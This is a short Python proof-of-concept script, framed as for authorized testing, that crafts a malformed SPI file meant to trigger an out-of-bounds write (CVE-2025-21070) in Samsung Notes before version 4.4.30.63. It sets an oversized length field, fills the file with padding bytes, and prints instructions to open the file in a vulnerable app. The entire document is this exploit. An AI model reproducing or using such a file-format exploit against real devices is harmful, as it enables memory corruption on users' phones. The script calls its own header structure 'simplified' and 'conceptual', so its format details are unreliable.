The following code is for security research and authorized testing only.
python
# CVE-2025-21070 PoC - Samsung Notes SPI Decoder Out-of-Bounds Write
# This is a conceptual PoC demonstrating the vulnerability trigger
import struct
def craft_malicious_spi_file(output_path):
"""
Craft a malicious SPI file that triggers out-of-bounds write
in Samsung Notes SPI decoder (versions < 4.4.30.63).
The vulnerability exists in the SPI decoder's handling of
length fields without proper bounds checking.
"""
# SPI file header (simplified structure)
magic = b'SPI\x00' # Magic number
version = struct.pack('<I', 1) # Format version
# Malicious object header with oversized length field
# This length value exceeds the actual allocated buffer,
# causing out-of-bounds write when decoder processes it
obj_type = struct.pack('<I', 0x10) # Object type (e.g., stroke data)
obj_length = struct.pack('<I', 0xFFFF) # Oversized length to trigger OOB write
obj_offset = struct.pack('<I', 0x00) # Target offset in buffer
# Padding data that will be written out-of-bounds
payload = b'\x41' * 256
malicious_data = magic + version + obj_type + obj_length + obj_offset + payload
with open(output_path, 'wb') as f:
f.write(malicious_data)
print(f"[+] Malicious SPI file crafted: {output_path}")
print(f"[!] File size: {len(malicious_data)} bytes")
print(f"[!] Trigger: Open this file with Samsung Notes < 4.4.30.63")
if __name__ == '__main__':
craft_malicious_spi_file('malicious_note.spi')